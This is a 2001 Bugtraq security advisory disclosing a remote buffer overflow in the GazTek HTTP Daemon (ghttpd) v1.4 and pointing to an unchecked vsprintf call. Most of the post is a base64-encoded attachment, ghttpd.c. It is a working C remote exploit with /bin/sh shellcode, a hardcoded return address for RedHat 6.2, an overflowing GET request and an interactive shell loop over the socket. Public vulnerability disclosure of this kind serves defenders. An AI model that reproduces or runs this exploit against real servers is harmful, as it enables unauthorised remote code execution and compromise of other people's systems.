[21072] in bugtraq
Buffer Overflow in GazTek HTTP Daemon v1.4 (ghttpd)
daemon@ATHENA.MIT.EDU (qitest1)
Sun Jun 17 11:35:11 2001
Date: Sun, 17 Jun 2001 16:01:55 +0200 (CEST)
From: qitest1 <qitest1@cercaband.com>
To: bugtraq@securityfocus.com
Message-ID: <Pine.LNX.4.21.0106171600130.991-200000@localhost.localdomain>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-1365436289-992786515=:991"
--8323328-1365436289-992786515=:991
Content-Type: TEXT/PLAIN; charset=US-ASCII
/* qitest1's security advisory #002
*/
Buffer Overflow in GazTek HTTP Daemon v1.4 (ghttpd)
+Systems Affected
Any system running GazTek HTTP Daemon v1.4 (ghttpd)
+Program Description
ghttpd is a small and easy to configure HTTP server with CGI support,
tested on Linux. It can run as a standalone daemon or can be called
by inetd. It has been written by Gareth Owen <gaz@athene.co.uk>,
http://members.xoom.com/gaztek.
+Vulnerability And Impact
A remote attacker can overflow a buffer and execute arbitrary code
on the system with the privileges of the user running ghttpd, that
is nobody, as all the privileges are dropped out.
Infact in util.c at line 219 we have:
va_start(ap, format); // format it all into temp
vsprintf(temp, format, ap);
va_end(ap);
+Solution
The author was contacted but he did not answered. Apply a patch to
the source code of the daemon or remove it from your system.
+Exploit
This bug can be succesfully exploited by a remote attacker. There is
a demonstrative exploit code attached to this advisory. See the code
for more info.
--
/* qitest1 http://qitest1.cjb.net *
* ``Ut tensio, sic vis. 69 tecum sis.'' *
* main(){if(unsatisfied == 69) try_come(in);} */
--8323328-1365436289-992786515=:991
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="ghttpd.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.21.0106171601550.991@localhost.localdomain>
Content-Description:
Content-Disposition: attachment; filename="ghttpd.c"
LyogDQogKiBHYXpUZWsgSFRUUCBEYWVtb24gdjEuNCAoZ2h0dHBkKSBMaW51
eCB4ODYgcmVtb3RlIGV4cGxvaXQNCiAqIGJ5IHFpdGVzdDEgLSAxNy8wNi8y
MDAxDQogKiANCiAqIFJvb3QgcHJpdmlsZWdlcyBhcmUgZHJvcHBlZCBvdXQg
YnkgdGhlIGRhZW1vbiwgc28gYSBzaGVsbCBvd25lZCBieQ0KICogbm9ib2R5
IHdpbGwgYmUgZXhlY3V0ZWQuIA0KICoNCiAqIDB4NjkuLiA9KSANCiAqLw0K
DQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxzdHJpbmcuaD4NCiNp
bmNsdWRlIDx1bmlzdGQuaD4NCiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+DQoj
aW5jbHVkZSA8bmV0ZGIuaD4NCg0KI2RlZmluZSBSRVRQT1MgCQkxNjENCg0K
c3RydWN0IHRhcmcNCnsNCiAgIGludCAgICAgICAgICAgICAgICAgIGRlZjsN
CiAgIGNoYXIgICAgICAgICAgICAgICAgICpkZXNjcjsNCiAgIHVuc2lnbmVk
IGxvbmcgaW50ICAgIHJldGFkZHI7DQp9Ow0KDQpzdHJ1Y3QgdGFyZyB0YXJn
ZXRbXT0NCiAgICB7ICAgICAgICAgICAgICAgICAgIA0KICAgICAgezAsICJS
ZWRIYXQgNi4yIHdpdGggR2F6VGVrIEhUVFAgRGFlbW9uIHYxLjQgKGdodHRw
ZCkgZnJvbSB0YXIuZ3oiLCAweGJmZmZiYTQ3fSwJCQ0KICAgICAgezY5LCBO
VUxMLCAwfQkJCQkNCiAgICB9Ow0KDQogIC8qIEp1c3QgdGhlIGRlYXIgb2xk
IEFsZXBoMSdzIHNoZWxsY29kZS4gVGhpcyBpcyB0aGUgb25seSBzaGVsbGNv
ZGUNCiAgICogdGhhdCBzZWVtZWQgdG8gd29yayB3aXRoIHRoaXMgdnVsbmVy
YWJpbGl0eS4gQWxsIHRoZSBvdGhlciBvbmVzIA0KICAgKiBtYWRlIHRoZSBk
YWVtb24gY3Jhc2hpbmcgdG9vIGVhcmx5IGFuZCB6YXBwaW5nIG91dCBjb25u
ZWN0aW9uLCANCiAgICogc2hlbGwgYW5kIGFsbCB0aGVpciBmcmllbmRzLiAg
IA0KICAgKi8NCmNoYXIgc2hlbGxjb2RlW10gPQ0KICAiXHhlYlx4MWZceDVl
XHg4OVx4NzZceDA4XHgzMVx4YzBceDg4XHg0Nlx4MDdceDg5XHg0Nlx4MGNc
eGIwXHgwYiINCiAgIlx4ODlceGYzXHg4ZFx4NGVceDA4XHg4ZFx4NTZceDBj
XHhjZFx4ODBceDMxXHhkYlx4ODlceGQ4XHg0MFx4Y2QiDQogICJceDgwXHhl
OFx4ZGNceGZmXHhmZlx4ZmYvYmluL3NoIjsNCg0KY2hhciAgICAgICAgICAg
IG15YnVmW1JFVFBPUyArIDRdOw0KDQppbnQgICAgICAgICAgICAgc29ja2Ft
aShjaGFyICpob3N0LCBpbnQgcG9ydCk7DQp2b2lkCQlkb19teWJ1Zih1bnNp
Z25lZCBsb25nIHJldGFkZHIpOw0Kdm9pZAkJc2hlbGxhbWkoaW50IHNvY2sp
Ow0Kdm9pZAkJdXNhZ2UoY2hhciAqcHJvZ25hbWUpOw0KDQptYWluKGludCBh
cmdjLCBjaGFyICoqYXJndikNCnsNCmludCAgICAgc2VsID0gMCwNCiAgICAg
ICAgb2Zmc2V0ID0gMCwNCiAgICAgICAgc29jaywNCiAgICAgICAgY250Ow0K
Y2hhciAgICAqaG9zdCA9IE5VTEwsDQoJc2J1ZlsxMDI0XTsNCg0KICBwcmlu
dGYoIlxuICBHYXpUZWsgSFRUUCBEYWVtb24gdjEuNCAoZ2h0dHBkKSBleHBs
b2l0IGJ5IHFpdGVzdDFcblxuIik7DQogIA0KICBpZihhcmdjID09IDEpDQog
ICAgICAgIHVzYWdlKGFyZ3ZbMF0pOw0KICB3aGlsZSgoY250ID0gZ2V0b3B0
KGFyZ2MsYXJndiwiaDp0Om86IikpICE9IEVPRikNCiAgICB7DQogICBzd2l0
Y2goY250KQ0KICAgICAgICB7DQogICBjYXNlICdoJzoNCiAgICAgaG9zdCA9
IHN0cmR1cChvcHRhcmcpOw0KICAgICBicmVhazsNCiAgIGNhc2UgJ3QnOg0K
ICAgICBzZWwgPSBhdG9pKG9wdGFyZyk7ICAgICAgIA0KICAgICBicmVhazsN
CiAgIGNhc2UgJ28nOg0KICAgICBvZmZzZXQgPSBhdG9pKG9wdGFyZyk7DQog
ICAgIGJyZWFrOw0KICAgZGVmYXVsdDoNCiAgICAgdXNhZ2UoYXJndlswXSk7
DQogICAgIGJyZWFrOw0KICAgICAgICB9DQogICAgfQ0KICBpZihob3N0ID09
IE5VTEwpDQogICAgICAgIHVzYWdlKGFyZ3ZbMF0pOw0KDQogIHByaW50Zigi
K0hvc3Q6ICVzXG4gIGFzOiAlc1xuIiwgaG9zdCwgdGFyZ2V0W3NlbF0uZGVz
Y3IpOw0KICBwcmludGYoIitDb25uZWN0aW5nIHRvICVzLi4uXG4iLCBob3N0
KTsNCiAgc29jayA9IHNvY2thbWkoaG9zdCwgODApOw0KICBwcmludGYoIiAg
Y29ubmVjdGVkXG4iKTsNCg0KICB0YXJnZXRbc2VsXS5yZXRhZGRyICs9IG9m
ZnNldDsNCiAgcHJpbnRmKCIrQnVpbGRpbmcgYnVmZmVyIHdpdGggcmV0YWRk
cjogJXAuLi5cbiIsIHRhcmdldFtzZWxdLnJldGFkZHIpOw0KICBkb19teWJ1
Zih0YXJnZXRbc2VsXS5yZXRhZGRyKTsNCiAgcHJpbnRmKCIgIGRvbmVcbiIp
Ow0KDQogIHNwcmludGYoc2J1ZiwgIkdFVCAvJXNcblxuIiwgbXlidWYpOw0K
ICBzZW5kKHNvY2ssIHNidWYsIHN0cmxlbihzYnVmKSwgMCk7DQogIHByaW50
ZigiK092ZXJmbG93aW5nLi4uXG4iKTsNCg0KICBwcmludGYoIitaemluZy4u
LlxuIik7DQogIHNsZWVwKDIpOw0KICBwcmludGYoIitHZXR0aW5nIHNoZWxs
Li4uXG4iKTsgDQogIHNoZWxsYW1pKHNvY2spOyAgDQp9DQoNCg0KaW50DQpz
b2NrYW1pKGNoYXIgKmhvc3QsIGludCBwb3J0KQ0Kew0Kc3RydWN0IHNvY2th
ZGRyX2luIGFkZHJlc3M7DQpzdHJ1Y3QgaG9zdGVudCAqaHA7DQppbnQgc29j
azsNCg0KICBzb2NrID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCAw
KTsNCiAgaWYoc29jayA9PSAtMSkNCiAgICAgICAgew0KICAgICAgICAgIHBl
cnJvcigic29ja2V0KCkiKTsNCiAgICAgICAgICBleGl0KC0xKTsNCiAgICAg
ICAgfQ0KIA0KICBocCA9IGdldGhvc3RieW5hbWUoaG9zdCk7DQogIGlmKGhw
ID09IE5VTEwpDQogICAgICAgIHsNCiAgICAgICAgICBwZXJyb3IoImdldGhv
c3RieW5hbWUoKSIpOw0KICAgICAgICAgIGV4aXQoLTEpOw0KICAgICAgICB9
DQoNCiAgbWVtc2V0KCZhZGRyZXNzLCAwLCBzaXplb2YoYWRkcmVzcykpOw0K
ICBtZW1jcHkoKGNoYXIgKikgJmFkZHJlc3Muc2luX2FkZHIsIGhwLT5oX2Fk
ZHIsIGhwLT5oX2xlbmd0aCk7DQogIGFkZHJlc3Muc2luX2ZhbWlseSA9IEFG
X0lORVQ7DQogIGFkZHJlc3Muc2luX3BvcnQgPSBodG9ucyhwb3J0KTsNCg0K
ICBpZihjb25uZWN0KHNvY2ssIChzdHJ1Y3Qgc29ja2FkZHIgKikgJmFkZHJl
c3MsIHNpemVvZihhZGRyZXNzKSkgPT0gLTEpDQogICAgICAgIHsNCiAgICAg
ICAgICBwZXJyb3IoImNvbm5lY3QoKSIpOw0KICAgICAgICAgIGV4aXQoLTEp
Ow0KICAgICAgICB9DQoNCiAgcmV0dXJuKHNvY2spOw0KfQ0KDQoNCnZvaWQN
CmRvX215YnVmKHVuc2lnbmVkIGxvbmcgcmV0YWRkcikNCnsNCmludAkJaSwN
CgkJbiA9IDA7DQp1bnNpZ25lZCBsb25nIAkqcmV0Ow0KDQogIG1lbXNldCht
eWJ1ZiwgMHg5MCwgc2l6ZW9mKG15YnVmKSk7DQogIGZvcihpID0gUkVUUE9T
IC0gc3RybGVuKHNoZWxsY29kZSk7IGkgPCBSRVRQT1M7IGkrKykNCglteWJ1
ZltpXSA9IHNoZWxsY29kZVtuKytdOw0KICByZXQgPSAodW5zaWduZWQgbG9u
ZyAqKShteWJ1ZiArIFJFVFBPUyk7DQogICpyZXQgPSByZXRhZGRyOw0KICBt
eWJ1ZltSRVRQT1MgKyA0XSA9ICdceDAwJzsNCn0NCg0Kdm9pZA0Kc2hlbGxh
bWkoaW50IHNvY2spDQp7DQppbnQgICAgICAgICAgICAgbjsNCmNoYXIgICAg
ICAgICAgICByZWN2YnVmWzEwMjRdOw0KY2hhciAgICAgICAgICAgICpjbWQg
PSAiaWQ7IHVuYW1lIC1hXG4iOw0KZmRfc2V0ICAgICAgICAgIHJzZXQ7DQoN
CiAgc2VuZChzb2NrLCBjbWQsIHN0cmxlbihjbWQpLCAwKTsNCg0KICB3aGls
ZSAoMSkNCiAgICB7DQogICAgICBGRF9aRVJPKCZyc2V0KTsNCiAgICAgIEZE
X1NFVChzb2NrLCZyc2V0KTsNCiAgICAgIEZEX1NFVChTVERJTl9GSUxFTk8s
JnJzZXQpOw0KICAgICAgc2VsZWN0KHNvY2srMSwmcnNldCxOVUxMLE5VTEws
TlVMTCk7DQogICAgICBpZiAoRkRfSVNTRVQoc29jaywmcnNldCkpDQogICAg
ICAgIHsNCiAgICAgICAgICBuPXJlYWQoc29jayxyZWN2YnVmLDEwMjQpOw0K
ICAgICAgICAgIGlmIChuIDw9IDApDQogICAgICAgICAgICB7DQogICAgICAg
ICAgICAgIHByaW50ZigiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBo
b3N0LlxuIik7DQogICAgICAgICAgICAgIGV4aXQoMCk7DQogICAgICAgICAg
ICB9DQogICAgICAgICAgcmVjdmJ1ZltuXT0wOw0KICAgICAgICAgIHByaW50
ZigiJXMiLHJlY3ZidWYpOw0KICAgICAgICB9DQogICAgICBpZiAoRkRfSVNT
RVQoU1RESU5fRklMRU5PLCZyc2V0KSkNCiAgICAgICAgew0KICAgICAgICAg
IG49cmVhZChTVERJTl9GSUxFTk8scmVjdmJ1ZiwxMDI0KTsNCiAgICAgICAg
ICBpZiAobj4wKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICByZWN2
YnVmW25dPTA7DQogICAgICAgICAgICAgIHdyaXRlKHNvY2sscmVjdmJ1Zixu
KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgcmV0dXJu
Ow0KfQ0KDQp2b2lkDQp1c2FnZShjaGFyICpwcm9nbmFtZSkNCnsNCmludCAg
ICAgICAgICAgICBpID0gMDsNCiAgDQogIHByaW50ZigiVXNhZ2U6ICVzIFtv
cHRpb25zXVxuIiwgcHJvZ25hbWUpOw0KICBwcmludGYoIk9wdGlvbnM6XG4i
DQogICAgICAgICAiICAtaCBob3N0bmFtZVxuIg0KICAgICAgICAgIiAgLXQg
dGFyZ2V0XG4iDQogICAgICAgICAiICAtbyBvZmZzZXRcbiINCiAgICAgICAg
ICJBdmFpbGFibGUgdGFyZ2V0czpcbiIpOw0KICB3aGlsZSh0YXJnZXRbaV0u
ZGVmICE9IDY5KQ0KICAgICAgICB7IA0KICAgICAgICAgIHByaW50ZigiICAl
ZCkgJXNcbiIsIHRhcmdldFtpXS5kZWYsIHRhcmdldFtpXS5kZXNjcik7DQog
ICAgICAgICAgaSsrOw0KICAgICAgICB9IA0KDQogIGV4aXQoMSk7DQp9DQo=
--8323328-1365436289-992786515=:991--
